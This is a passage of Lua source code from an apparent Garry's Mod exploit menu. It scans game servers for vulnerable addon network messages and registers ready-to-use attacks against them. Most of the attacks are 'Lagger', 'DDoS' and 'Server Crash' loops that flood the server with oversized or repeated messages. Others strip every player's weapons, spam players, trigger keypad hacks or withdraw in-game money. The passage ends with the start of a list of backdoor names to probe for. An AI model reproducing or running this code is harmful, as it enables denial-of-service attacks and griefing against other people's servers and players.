6047 addExploit("256", "Remove the gas mask", "The exploit takes off gas masks from all players, discovered by Leith", function()
6048 surface.PlaySound("garrysmod/ui_click.wav")
6049 ECNotify("Starting")
6050
6051 for k, v in pairs(ents.GetAll()) do
6052 net.Start("RemoveMask")
6053 net.WriteEntity(v)
6054 net.SendToServer()
6055 end
6056 end)
6057 end
6058
6059 status = ValidNetString("SwapFilter") -- 37.230.228.248:27016
6060
6061 if (status) then
6062 ECPrint("Found Exploit: Change all filters of a gas mask [SwapFilter]")
6063
6064 addExploit("257", "Change all filters", "Exploit changes the filter for all gas masks, discovered by Leith", function()
6065 surface.PlaySound("garrysmod/ui_click.wav")
6066 ECNotify("Starting")
6067
6068 for k, v in pairs(ents.GetAll()) do
6069 net.Start("SwapFilter")
6070 net.WriteEntity(v)
6071 net.SendToServer()
6072 end
6073 end)
6074 end
6075
6076 status = ValidNetString("WipeMask") -- 37.230.228.248:27016
6077
6078 if (status) then
6079 ECPrint("Found Exploit: Wipe gas masks [WipeMask]")
6080
6081 addExploit("258", "Wipe gas masks", "Exploit wipes all gas masks, discovered by Leith", function()
6082 surface.PlaySound("garrysmod/ui_click.wav")
6083 ECNotify("Starting")
6084
6085 for k, v in pairs(ents.GetAll()) do
6086 net.Start("WipeMask")
6087 net.WriteEntity(v)
6088 net.SendToServer()
6089 end
6090 end)
6091 end
6092
6093 status = ValidNetString("UseMedkit") -- 37.230.228.248:27016
6094
6095 if (status) then
6096 ECPrint("Found Exploit: Use Medkit [UseMedkit]")
6097
6098 addExploit("259", "Use Medkit", "Exploit uses a first aid kit on all players, discovered by Leith", function()
6099 surface.PlaySound("garrysmod/ui_click.wav")
6100 ECNotify("Starting")
6101
6102 for k, v in pairs(ents.GetAll()) do
6103 net.Start("UseMedkit")
6104 net.WriteEntity(v)
6105 net.SendToServer()
6106 end
6107 end)
6108 end
6109
6110 status = ValidNetString("IDInv_RequestBank")
6111
6112 if (status) then
6113 ECPrint("Found Exploit: Lagger #23 [IDInv_RequestBank]")
6114
6115 addExploit("260", "Lagger #23", "an exploit in the addon 'IDinventory', discovered by Leith", function()
6116 surface.PlaySound("garrysmod/ui_click.wav")
6117 ECNotify("Starting")
6118
6119 if not timer.Exists("lagger23") then
6120 timer.Create("lagger23", 0, 0, function()
6121 for i = 1, 1000 do
6122 net.Start("IDInv_RequestBank", true)
6123 net.SendToServer()
6124 end
6125 end)
6126 end
6127 end)
6128 end
6129
6130 status = ValidNetString("casinokit_chipexchange")
6131
6132 if (status) then
6133 ECPrint("Found Exploit: Lagger #24 [casinokit_chipexchange]")
6134
6135 addExploit("261", "Lagger #24", "an exploit in the addon 'CasinoKit', discovered by Leith", function()
6136 surface.PlaySound("garrysmod/ui_click.wav")
6137 ECNotify("Starting")
6138
6139 if not timer.Exists("lagger24") then
6140 timer.Create("lagger24", 0, 0, function()
6141 for i = 1, 1000 do
6142 net.Start("casinokit_chipexchange", true)
6143 net.WriteEntity(LocalPlayer())
6144 net.WriteString("darkrp")
6145 net.WriteBool(false)
6146 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
6147 net.SendToServer()
6148 end
6149 end)
6150 end
6151 end)
6152 end
6153
6154 status = ValidNetString("RemoveTag")
6155
6156 if (status) then
6157 ECPrint("Found Exploit: 1tap server [RemoveTag]")
6158
6159 addExploit("262", "1tap server", "discovered by Leith", function()
6160 surface.PlaySound("garrysmod/ui_click.wav")
6161 ECNotify("Starting")
6162
6163 timer.Create("1tap", 0.5, 0, function()
6164 for i = 1, 4000 do
6165 net.Start("RemoveTag")
6166 net.WriteFloat(9999999999999999999999999999999999999999999999999999999999)
6167 net.SendToServer()
6168 end
6169 end)
6170 end)
6171 end
6172
6173 status = ValidNetString("desktopPrinter_Withdraw")
6174
6175 if (status) then
6176 ECPrint("Found Exploit: Lagger #25 [desktopPrinter_Withdraw]")
6177
6178 addExploit("263", "Lagger #25", "an exploit in the addon 'Desktop Printers', discovered by Leith", function()
6179 surface.PlaySound("garrysmod/ui_click.wav")
6180 ECNotify("Starting")
6181
6182 if not timer.Exists("lagger25") then
6183 timer.Create("lagger25", 0, 0, function()
6184 for i = 1, 1000 do
6185 net.Start("desktopPrinter_Withdraw", true)
6186 net.WriteEntity(LocalPlayer())
6187 net.SendToServer()
6188 end
6189 end)
6190 end
6191 end)
6192 end
6193
6194 status = ValidNetString("sphys_dupe")
6195
6196 if (status) then
6197 ECPrint("Found Exploit: Lagger #26 [sphys_dupe]")
6198
6199 addExploit("264", "Lagger #26", "an exploit in the addon 'Simfphys', discovered by Solly", function()
6200 surface.PlaySound("garrysmod/ui_click.wav")
6201 ECNotify("Starting")
6202
6203 timer.Create("lagger26", 0.2, 0, function()
6204 for i = 1, 2200 do
6205 net.Start("sphys_dupe", true)
6206 net.SendToServer()
6207 end
6208 end)
6209 end)
6210 end
6211
6212 status = ValidNetString("simfphys_gasspill")
6213
6214 if (status) then
6215 ECPrint("Found Exploit: Poop on players [simfphys_gasspill]")
6216
6217 addExploit("265", "Poop on players", "an exploit in the addon 'Simfphys', discovered by Solly", function()
6218 surface.PlaySound("garrysmod/ui_click.wav")
6219 ECNotify("Starting")
6220
6221 timer.Create("poop", 0.1, 0, function()
6222 for k, v in pairs(player.GetAll()) do
6223 for j = 1, 3 do
6224 if IsValid(v) then
6225 net.Start("simfphys_gasspill")
6226 net.WriteVector(v:GetPos() + Vector(0, 0, 90))
6227 net.WriteVector(v:EyePos())
6228 net.SendToServer()
6229 end
6230 end
6231 end
6232 end)
6233 end)
6234 end
6235
6236 status = ValidNetString("dronesrewrite_controldr")
6237
6238 if (status) then
6239 ECPrint("Found Exploit: Lagger #27 [dronesrewrite_controldr]")
6240
6241 addExploit("266", "Lagger #27", "discovered by Solly", function()
6242 surface.PlaySound("garrysmod/ui_click.wav")
6243 ECNotify("Starting")
6244
6245 timer.Create("lagger27", 0.2, 0, function()
6246 for i = 1, 2200 do
6247 net.Start("dronesrewrite_controldr", true)
6248 net.SendToServer()
6249 end
6250 end)
6251 end)
6252 end
6253
6254 status = ValidNetString("SCP-294Sv")
6255
6256 if (status) then
6257 ECPrint("Found Exploit: SCP-294 Exploit [SCP-294Sv]")
6258
6259 addExploit("267", "SCP-294 Exploit", "discovered by questionmark", function()
6260 surface.PlaySound("garrysmod/ui_click.wav")
6261 ECNotify("Starting")
6262
6263 for k, v in pairs(ents.GetAll()) do
6264 net.Start("SCP-294Sv")
6265 net.WriteString("acid")
6266 net.WriteEntity(v)
6267 net.SendToServer()
6268 end
6269 end)
6270 end
6271
6272 status = ValidNetString("VC_PlayerReady")
6273
6274 if (status) then
6275 ECPrint("Found Exploit: Lagger #28 [VC_PlayerReady]")
6276
6277 addExploit("268", "Lagger #28", "an exploit in the addon 'VCMod', discovered by Leith", function()
6278 surface.PlaySound("garrysmod/ui_click.wav")
6279 ECNotify("Starting")
6280
6281 timer.Create("lagger28", 0, 0, function()
6282 for i = 1, 1000 do
6283 net.Start("VC_PlayerReady", true)
6284 net.SendToServer()
6285 end
6286 end)
6287 end)
6288 end
6289
6290 status = ValidNetString("phone")
6291
6292 if (status) then
6293 ECPrint("Found Exploit: Call all players [phone]")
6294
6295 addExploit("269", "Call all players", "discovered by questionmark", function()
6296 surface.PlaySound("garrysmod/ui_click.wav")
6297 ECNotify("Starting")
6298
6299 for k, v in pairs(player.GetAll()) do
6300 net.Start("phone")
6301
6302 net.WriteTable{
6303 ply = v,
6304 act = 'call'
6305 }
6306
6307 net.SendToServer()
6308 end
6309 end)
6310 end
6311
6312 status = ValidNetString("blueatm")
6313
6314 if (status) then
6315 ECPrint("Found Exploit: Lagger #29 [blueatm]")
6316
6317 addExploit("270", "Lagger #29", "an exploit in the addon 'Blue ATM', discovered by Leith", function()
6318 surface.PlaySound("garrysmod/ui_click.wav")
6319 ECNotify("Starting")
6320
6321 timer.Create("lagger29", 0, 0, function()
6322 for i = 1, 1000 do
6323 net.Start("blueatm", true)
6324 net.WriteEntity(LocalPlayer())
6325 net.SendToServer()
6326 end
6327 end)
6328 end)
6329 end
6330
6331 status = ValidNetString("cab_cd_testdrive")
6332
6333 if (status) then
6334 ECPrint("Found Exploit: Stavox Teleport [cab_cd_testdrive]")
6335
6336 addExploit("271", "Stavox Teleport", "discovered by Aromatic", function()
6337 surface.PlaySound("garrysmod/ui_click.wav")
6338 ECNotify("Starting")
6339 net.Start('cab_cd_testdrive')
6340 net.WriteUInt(0, 3)
6341 net.WriteUInt(5, 8)
6342 net.SendToServer()
6343 end)
6344 end
6345
6346 status = ValidNetString("cab_sendmessage")
6347
6348 if (status) then
6349 ECPrint("Found Exploit: Stavox Message [cab_sendmessage]")
6350
6351 addExploit("272", "Stavox Message", "discovered by Aromatic", function()
6352 surface.PlaySound("garrysmod/ui_click.wav")
6353 ECNotify("Starting")
6354
6355 for k, v in pairs(player.GetAll()) do
6356 net.Start("cab_sendmessage")
6357 net.WriteEntity(v)
6358 net.WriteString("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
6359 net.SendToServer()
6360 end
6361 end)
6362 end
6363
6364 status = ValidNetString("disguise")
6365
6366 if (status) then
6367 ECPrint("Found Exploit: Lagger #30 [disguise]")
6368
6369 addExploit("273", "Lagger #30", "discovered by Aromatic & Leith", function()
6370 surface.PlaySound("garrysmod/ui_click.wav")
6371
6372 timer.Create("lagger30", 0, 0, function()
6373 for i = 1, 1000 do
6374 net.Start("disguise", true)
6375 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
6376 net.SendToServer()
6377 end
6378 end)
6379 end)
6380 end
6381
6382 status = ValidNetString("FARMINGMOD_DROPITEM")
6383
6384 if (status) then
6385 ECPrint("Found Exploit: Lagger #31 [FARMINGMOD_DROPITEM]")
6386
6387 addExploit("274", "Lagger #31", "discovered by Leith", function()
6388 surface.PlaySound("garrysmod/ui_click.wav")
6389
6390 timer.Create("lagger31", 0, 0, function()
6391 for i = 1, 1000 do
6392 net.Start("FARMINGMOD_DROPITEM", true)
6393 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 16)
6394 net.SendToServer()
6395 end
6396 end)
6397 end)
6398 end
6399
6400 status = ValidNetString("SlotsRemoved")
6401
6402 if (status) then
6403 ECPrint("Found Exploit: Lagger #32 [SlotsRemoved]")
6404
6405 addExploit("275", "Lagger #32", "an exploit in the addon 'PointShop 2 Perma Weapons', discovered by Leith", function()
6406 surface.PlaySound("garrysmod/ui_click.wav")
6407
6408 timer.Create("lagger32", 0, 0, function()
6409 for i = 1, 1000 do
6410 net.Start("SlotsRemoved", true)
6411 net.SendToServer()
6412 end
6413 end)
6414 end)
6415 end
6416
6417 status = ValidNetString("AirDrops_StartPlacement")
6418
6419 if (status) then
6420 ECPrint("Found Exploit: Lagger #33 [AirDrops_StartPlacement]")
6421
6422 addExploit("276", "Lagger #33", "an exploit in the addon 'PointShop 2 AirDrops', discovered by Dembi", function()
6423 surface.PlaySound("garrysmod/ui_click.wav")
6424
6425 timer.Create("lagger33", 0, 0, function()
6426 for i = 1, 1000 do
6427 net.Start("AirDrops_StartPlacement", true)
6428 net.SendToServer()
6429 end
6430 end)
6431 end)
6432 end
6433
6434 status = ValidNetString("pp_info_send")
6435
6436 if (status) then
6437 ECPrint("Found Exploit: Lagger #34 [pp_info_send]")
6438
6439 addExploit("277", "Lagger #34", "an exploit in the addon 'Perma Props',discovered by Leith", function()
6440 surface.PlaySound("garrysmod/ui_click.wav")
6441
6442 timer.Create("lagger33", 0, 0, function()
6443 for i = 1, 1000 do
6444 net.Start("pp_info_send", true)
6445 net.SendToServer()
6446 end
6447 end)
6448 end)
6449 end
6450
6451 status = ValidNetString("IGS.GetPaymentURL")
6452
6453 if (status) then
6454 ECPrint("Found Exploit: Lagger #35 [IGS.GetPaymentURL]")
6455
6456 addExploit("278", "Lagger #35", "an exploit in the 'IGS', discovered by Leith", function()
6457 surface.PlaySound("garrysmod/ui_click.wav")
6458
6459 timer.Create("lagger35", 0, 0, function()
6460 for i = 1, 1000 do
6461 net.Start("IGS.GetPaymentURL", true)
6462 net.WriteDouble(9999999999999999999999999999999999999999999999999999999999)
6463 net.SendToServer()
6464 end
6465 end)
6466 end)
6467 end
6468
6469 status = ValidNetString("fg_printer_money")
6470
6471 if (status) then
6472 ECPrint("Found Exploit: Lagger #36 [fg_printer_money]")
6473
6474 addExploit("279", "Lagger #36", "an exploit in the 'FG Printers', discovered by Aromatic", function()
6475 surface.PlaySound("garrysmod/ui_click.wav")
6476
6477 timer.Create("lagger36", 0, 0, function()
6478 for i = 1, 1000 do
6479 net.Start('fg_printer_money', true)
6480 net.WriteEntity(LocalPlayer())
6481 net.SendToServer()
6482 end
6483 end)
6484 end)
6485 end
6486
6487 status = ValidNetString("tickbookpayfine")
6488
6489 if (status) then
6490 ECPrint("Found Exploit: Lagger #37 [tickbookpayfine]")
6491
6492 addExploit("280", "Lagger #37", "an exploit in the 'Ticket Book', discovered by Aromatic", function()
6493 surface.PlaySound("garrysmod/ui_click.wav")
6494
6495 timer.Create("lagger37", 0, 0, function()
6496 for i = 1, 1000 do
6497 net.Start("tickbookpayfine", true)
6498 net.SendToServer()
6499 end
6500 end)
6501 end)
6502 end
6503
6504 status = ValidNetString("BeginSpin")
6505
6506 if (status) then
6507 ECPrint("Found Exploit: Lagger #38 [BeginSpin]")
6508
6509 addExploit("281", "Lagger #38", "an exploit in the 'Blue Unbox 2', discovered by Leith", function()
6510 surface.PlaySound("garrysmod/ui_click.wav")
6511
6512 timer.Create("lagger38", 0, 0, function()
6513 for i = 1, 1000 do
6514 net.Start("BeginSpin", true)
6515 net.SendToServer()
6516 end
6517 end)
6518 end)
6519 end
6520
6521 status = ValidNetString("DuelRequestClient")
6522
6523 if (status) then
6524 ECPrint("Found Exploit: Lagger #39 [DuelRequestClient]")
6525
6526 addExploit("282", "Lagger #39", "discovered by Leith", function()
6527 surface.PlaySound("garrysmod/ui_click.wav")
6528
6529 timer.Create("lagger39", 0, 0, function()
6530 for i = 1, 1000 do
6531 net.Start("DuelRequestClient", true)
6532 net.SendToServer()
6533 end
6534 end)
6535 end)
6536 end
6537
6538 status = ValidNetString("ncpstoredoact")
6539
6540 if (status) then
6541 ECPrint("Found Exploit: Lagger #40 [ncpstoredoact]")
6542
6543 addExploit("283", "Lagger #40", "an exploit in the addon 'NPC Store',discovered by Leith", function()
6544 surface.PlaySound("garrysmod/ui_click.wav")
6545
6546 timer.Create("lagger40", 0, 0, function()
6547 for i = 1, 1000 do
6548 net.Start("ncpstoredoact", true)
6549 net.SendToServer()
6550 end
6551 end)
6552 end)
6553 end
6554
6555 status = ValidNetString("PermwepsNPCSellWeapon")
6556
6557 if (status) then
6558 ECPrint("Found Exploit: Lagger #41 [PermwepsNPCSellWeapon]")
6559
6560 addExploit("284", "Lagger #41", "discovered by Leith", function()
6561 surface.PlaySound("garrysmod/ui_click.wav")
6562
6563 timer.Create("lagger41", 0, 0, function()
6564 for i = 1, 2000 do
6565 net.Start("PermwepsNPCSellWeapon", true)
6566 net.WriteString("")
6567 net.SendToServer()
6568 end
6569 end)
6570 end)
6571 end
6572
6573 status = ValidNetString("bitcoins_request_withdraw")
6574
6575 if (status) then
6576 ECPrint("Found Exploit: Lagger #42 [bitcoins_request_withdraw]")
6577
6578 addExploit("285", "Lagger #42", "discovered by Leith", function()
6579 surface.PlaySound("garrysmod/ui_click.wav")
6580
6581 timer.Create("lagger42", 0, 0, function()
6582 for i = 1, 2000 do
6583 net.Start("bitcoins_request_withdraw", true)
6584 net.SendToServer()
6585 end
6586 end)
6587 end)
6588 end
6589
6590 status = ValidNetString("bitcoins_request_turn_on")
6591
6592 if (status) then
6593 ECPrint("Found Exploit: To include all bitcoin miners [bitcoins_request_turn_on]")
6594
6595 addExploit("286", "To include all bitcoin miners", "discovered by Leith", function()
6596 surface.PlaySound("garrysmod/ui_click.wav")
6597 ECNotify("Starting")
6598
6599 for k, v in pairs(ents.GetAll()) do
6600 if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
6601 net.Start("bitcoins_request_turn_on")
6602 net.WriteEntity(v)
6603 net.SendToServer()
6604 end
6605 end
6606 end)
6607 end
6608
6609 status = ValidNetString("bitcoins_request_turn_off")
6610
6611 if (status) then
6612 ECPrint("Found Exploit: Disable all bitcoin miners [bitcoins_request_turn_off]")
6613
6614 addExploit("287", "Disable all bitcoin miners", "discovered by Leith", function()
6615 surface.PlaySound("garrysmod/ui_click.wav")
6616 ECNotify("Starting")
6617
6618 for k, v in pairs(ents.GetAll()) do
6619 if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
6620 net.Start("bitcoins_request_turn_off")
6621 net.WriteEntity(v)
6622 net.SendToServer()
6623 end
6624 end
6625 end)
6626 end
6627
6628 status = ValidNetString("NET_AM_MakePotion")
6629
6630 if (status) then
6631 ECPrint("Found Exploit: Lagger #43 [NET_AM_MakePotion]")
6632
6633 addExploit("288", "Lagger #43", "discovered by Leith", function()
6634 surface.PlaySound("garrysmod/ui_click.wav")
6635 ECNotify("Starting")
6636
6637 timer.Create("lagger43", 0, 0, function()
6638 for i = 1, 2000 do
6639 net.Start('NET_AM_MakePotion', true)
6640 net.WriteEntity(LocalPlayer())
6641 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 8)
6642 net.SendToServer()
6643 end
6644 end)
6645 end)
6646 end
6647
6648 status = ValidNetString("minigun_drones_switch")
6649
6650 if (status) then
6651 ECPrint("Found Exploit: Lagger #44 [minigun_drones_switch]")
6652
6653 addExploit("289", "Lagger #44", "discovered by Solly", function()
6654 surface.PlaySound("garrysmod/ui_click.wav")
6655 ECNotify("Starting")
6656
6657 timer.Create("lagger44", 0.2, 0, function()
6658 for i = 1, 2200 do
6659 net.Start("minigun_drones_switch", true)
6660 net.SendToServer()
6661 end
6662 end)
6663 end)
6664 end
6665
6666 status = ValidNetString("CW20_PRESET_LOAD")
6667
6668 if (status) then
6669 ECPrint("Found Exploit: Lagger #45 (u need cw2 weapon in hand) [CW20_PRESET_LOAD]")
6670
6671 addExploit("290", "Lagger #45", "(u need cw2 weapon in hand),discovered by Solly", function()
6672 surface.PlaySound("garrysmod/ui_click.wav")
6673 ECNotify("Starting")
6674
6675 timer.Create("lagger45", 0.2, 0, function()
6676 if (LocalPlayer():GetActiveWeapon():GetClass():find("cw")) then
6677 for i = 1, 2200 do
6678 net.Start("CW20_PRESET_LOAD", true)
6679 net.SendToServer()
6680 end
6681 end
6682 end)
6683 end)
6684 end
6685
6686 status = ValidNetString("SBP_addtime")
6687
6688 if (status) then
6689 ECPrint("Found Exploit: Lagger #46 [SBP_addtime]")
6690
6691 addExploit("291", "Lagger #46", "discovered by Solly", function()
6692 surface.PlaySound("garrysmod/ui_click.wav")
6693 ECNotify("Starting")
6694
6695 timer.Create("lagger46", 0.3, 0, function()
6696 for i = 1, 2200 do
6697 net.Start("SBP_addtime", true)
6698 net.SendToServer()
6699 end
6700 end)
6701 end)
6702 end
6703
6704 status = ValidNetString("NetData")
6705
6706 if (status) then
6707 ECPrint("Found Exploit: Outfit player nouser [NetData]")
6708
6709 addExploit("292", "Outfit player nouser", "Just noise players near u (discovered by Solly)", function()
6710 surface.PlaySound("garrysmod/ui_click.wav")
6711 ECNotify("Starting")
6712
6713 for k, v in pairs(player.GetAll()) do
6714 net.Start("NetData")
6715 net.WriteString("OF")
6716 net.WriteUInt(4, 8)
6717 net.WriteData(math.random(100000, 9999999) .. ",sis.mdl", 30)
6718 net.SendToServer()
6719 end
6720 end)
6721 end
6722
6723 status = ValidNetString("StackGhost")
6724
6725 if (status) then
6726 ECPrint("Found Exploit: DDoS #1")
6727
6728 addExploit("294", "DDoS #1", "Creates lags on server [StackGhost]", function()
6729 surface.PlaySound("garrysmod/ui_click.wav")
6730 ECNotify("Starting")
6731
6732 timer.Create("DDoS", 0.02, 0, function()
6733 for i = 1, 2000 do
6734 net.Start("StackGhost", true)
6735 net.WriteInt(69, 32)
6736 net.SendToServer()
6737 end
6738 end)
6739 end)
6740 end
6741
6742 status = ValidNetString("pac_submit")
6743
6744 if (status) then
6745 ECPrint("Found Exploit: DDoS #2")
6746
6747 addExploit("295", "DDoS #2", "Creates lags on server [pac_sumbit]", function()
6748 surface.PlaySound("garrysmod/ui_click.wav")
6749 ECNotify("Starting")
6750
6751 -----------------------------------
6752 timer.Create("DDoS2", 0.02, 0, function()
6753 for i = 1, 1000 do
6754 Disco.NetStart("pac_submit")
6755 net.SendToServer()
6756 end
6757 end)
6758 end)
6759 ----------------------------------
6760 end
6761
6762 status = ValidNetString("RequestMAPSize")
6763
6764 if (status) then
6765 ECPrint("Found Exploit: 1tap server [MapSize]")
6766
6767 addExploit("296", "1tap server [MapSize]", "-1 server", function()
6768 surface.PlaySound("garrysmod/ui_click.wav")
6769 ECNotify("Starting")
6770
6771 -----------------------------------
6772 timer.Create("lagger10", 0, 0, function()
6773 for i = 1, 400 do
6774 net.Start("RequestMAPSize")
6775 net.SendToServer()
6776 end
6777 end)
6778 end)
6779 ----------------------------------
6780 end
6781
6782 status = ValidNetString("properties")
6783
6784 if (status) then
6785 ECPrint("Found Exploit: Weapon Strip")
6786
6787 addExploit("297", "Weapon Strip", "-weapon", function()
6788 surface.PlaySound("garrysmod/ui_click.wav")
6789 ECNotify("Starting")
6790
6791 -----------------------------------
6792 for k, v in pairs(player.GetAll()) do
6793 if v:IsPlayer() then
6794 for k, v in pairs(v:GetWeapons()) do
6795 net.Start("properties")
6796 net.WriteString("remove", 32)
6797 net.WriteEntity(v)
6798 net.SendToServer()
6799 end
6800 end
6801 end
6802 end)
6803 ----------------------------------
6804 end
6805
6806 status = ValidNetString("start_wd_emp")
6807
6808 if (status) then
6809 ECPrint("Found Exploit: Hack Keypad")
6810
6811 addExploit("298", "HackKeypad", "Hack Keypad", function()
6812 surface.PlaySound("garrysmod/ui_click.wav")
6813 ECNotify("Starting")
6814 -----------------------------------
6815 net.Start('start_wd_emp')
6816 net.SendToServer()
6817 end)
6818 ----------------------------------
6819 end
6820
6821 status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
6822
6823 if (status) then
6824 ECPrint("Found Exploit: Server Crash")
6825
6826 addExploit("299", "Server Crash", " ", function()
6827 surface.PlaySound("garrysmod/ui_click.wav")
6828 ECNotify("Starting")
6829
6830 -----------------------------------
6831 timer.Create("crasher2", 0, 0, function()
6832 for i = 1, 400 do
6833 net.Start("pac.net.TouchFlexes.ClientNotify")
6834 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
6835 net.SendToServer()
6836 end
6837 end)
6838 end)
6839 ----------------------------------
6840 end
6841
6842 status = ValidNetString("ItemStoreDrop")
6843
6844 if (status) then
6845 ECPrint("Found Exploit: DDoS item")
6846
6847 addExploit("300", "DDoS item", " ", function()
6848 surface.PlaySound("garrysmod/ui_click.wav")
6849 ECNotify("Starting")
6850
6851 -----------------------------------
6852 timer.Create("lagger7", 0, 0, function()
6853 for i = 1, 1000 do
6854 net.Start("ItemStoreDrop")
6855 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
6856 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
6857 net.SendToServer()
6858 end
6859 end)
6860 end)
6861 ----------------------------------
6862 end
6863
6864 status = ValidNetString("TFA_Attachment_RequestAll")
6865
6866 if (status) then
6867 ECPrint("Found Exploit: TFA LAGGER")
6868
6869 addExploit("301", "TFA LAGGER", " ", function()
6870 surface.PlaySound("garrysmod/ui_click.wav")
6871 ECNotify("Starting")
6872
6873 -----------------------------------
6874 timer.Create("lagger20", 0.02, 0, function()
6875 for i = 1, 4400 do
6876 net.Start("TFA_Attachment_RequestAll", true)
6877 net.SendToServer()
6878 end
6879 end)
6880 end)
6881 ----------------------------------
6882 end
6883
6884 status = ValidNetString("ts_buytitle")
6885
6886 if (status) then
6887 ECPrint("Found Exploit: Lagger #47 [ts_buytitle]")
6888
6889 addExploit("302", "Lagger #47", "an exploit in the addon 'TitleStore'", function()
6890 surface.PlaySound("garrysmod/ui_click.wav")
6891 ECNotify("Starting")
6892
6893 timer.Create("lagger47", 0, 0, function()
6894 for i = 1, 1000 do
6895 net.Start("ts_buytitle", true)
6896 net.WriteTable({})
6897 net.WriteTable({})
6898 net.WriteTable({})
6899 net.SendToServer()
6900 end
6901 end)
6902 end)
6903 end
6904
6905 status = ValidNetString("SBP_addtime")
6906
6907 if (status) then
6908 ECPrint("Found Exploit: XP Booster [SBP_addtime]")
6909
6910 addExploit("293", "XP Booster", "discovered by Solly", function()
6911 inputFrameExists = true
6912 inputFrame = vgui.Create("DFrame")
6913 inputFrame:SetTitle("Enter the number")
6914 inputFrame:SetSize(400, 75)
6915 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
6916 inputFrame:SetDraggable(false)
6917 inputFrame:ShowCloseButton(true)
6918 inputFrame:MakePopup()
6919
6920 inputFrame.Paint = function(self, w, h)
6921 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
6922 end
6923
6924 local TextEntry = vgui.Create("DTextEntry", inputFrame)
6925 TextEntry:SetSize(380, 30)
6926 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
6927 TextEntry:SetText("100")
6928
6929 TextEntry.OnEnter = function(self)
6930 surface.PlaySound("garrysmod/ui_click.wav")
6931
6932 timer.Create("ofn", 0.2, 0, function()
6933 for i = 1, tonumber(self:GetText()) do
6934 net.Start("SBP_addtime")
6935 net.SendToServer()
6936 end
6937
6938 inputFrame:SetVisible(false)
6939 end)
6940 end
6941 end)
6942 end
6943
6944 --/////////////////////////////////////////// [OTHER] /////////////////////////////////////////////
6945 status = ValidNetString("EnterpriseWithdraw")
6946
6947 if (status) then
6948 ECPrint("Found Exploit: ENTERPRISE FOUND! [EnterpriseWithdraw]")
6949
6950 addExploit("1337", "ENTERPRISE FOUND!", "discovered by Leith", function()
6951 surface.PlaySound("garrysmod/ui_click.wav")
6952 ECNotify("Starting")
6953 net.Start("EnterpriseWithdraw")
6954 net.WriteInt(100, 32)
6955 net.SendToServer()
6956 end)
6957 end
6958
6959 status = ValidNetString("SetPermaKnife")
6960
6961 if (status) then
6962 ECPrint("Found Exploit: PERMA KNIFE FOUND [SetPermaKnife]")
6963
6964 addExploit("1337", "PERMA KNIFE FOUND", "PERMA KNIFE FOUND", function()
6965 surface.PlaySound("garrysmod/ui_click.wav")
6966 end)
6967 --[[
6968 function cockSucker(ply,cmd,args,argStr)
6969 local ply = LocalPlayer()
6970
6971 net.Start( "SetPermaKnife" )
6972 net.WriteString( string.TrimRight(argStr,".lua") )
6973 net.SendToServer()
6974 end
6975
6976 concommand.Add("gibe_weapon",cockSucker)
6977 ]]
6978 end
6979 ----------------------------------------------------------------------------------
6980 -- for k, v in pairs(player.GetAll()) do
6981 -- for k, v in pairs(ents.GetAll()) do
6982 ----------------------------------------------------------------------------------
6983 -- if !timer.Exists("lagger") then
6984 -- timer.Create("lagger", 0, 0, function()
6985 -- for i = 1, 1000 do
6986 -----------------------------
6987 -- 9999999999999999999999999999999999999999999999999999999999
6988 -- 0xFFFFFFF
6989 --------------------------------------------------------------------------------------------------
6990 --------------------------------------------------------------------------------------------------
6991 --------------------------------------------------------------------------------------------------
6992
6993end
6994concommand.Add('R8_Exploit', function()
6995 R8_Menu()
6996end)
6997
6998
6999local BD = {}
7000netKey = "memeDoor"
7001BackdoorsFound = 0
7002
7003function ValidNetString(str)
7004 local status, error = pcall(net.Start, str)
7005
7006 return status
7007end
7008
7009BackDoor_net = {
7010 {
7011 NetWork = "Sandbox_ArmDupe"
7012 },
7013 {
7014 NetWork = "Sbox_darkrp"
7015 },
7016 {
7017 NetWork = "Sbox_itemstore"
7018 },
7019 {
7020 NetWork = "Ulib_Message"
7021 },
7022 {
7023 NetWork = "ULogs_Info"
7024 },
7025 {
7026 NetWork = "ITEM"
7027 },
7028 {
7029 NetWork = "R8"
7030 },
7031 {
7032 NetWork = "fix"
7033 },
7034 {
7035 NetWork = "Fix_Keypads"
7036 },
7037 {
7038 NetWork = "Remove_Exploiters"
7039 },
7040 {
7041 NetWork = "noclipcloakaesp_chat_text"
7042 },
7043 {
7044 NetWork = "_Defqon"
7045 },
7046 {
7047 NetWork = "_CAC_ReadMemory",
7048"nostrip"
7049 },
7050 {
7051 NetWork = "nocheat"
7052 },
7053 {
7054 NetWork = "LickMeOut"
7055 },
7056 {
7057 NetWork = "ULX_QUERY2"
7058 },
7059 {
7060 NetWork = "ULXQUERY2"
7061 },
7062 {
7063 NetWork = "MoonMan"
7064 },
7065 {
7066 NetWork = "Im_SOCool"
7067 },
7068 {
7069 NetWork = "Sandbox_GayParty"
7070 },
7071 {
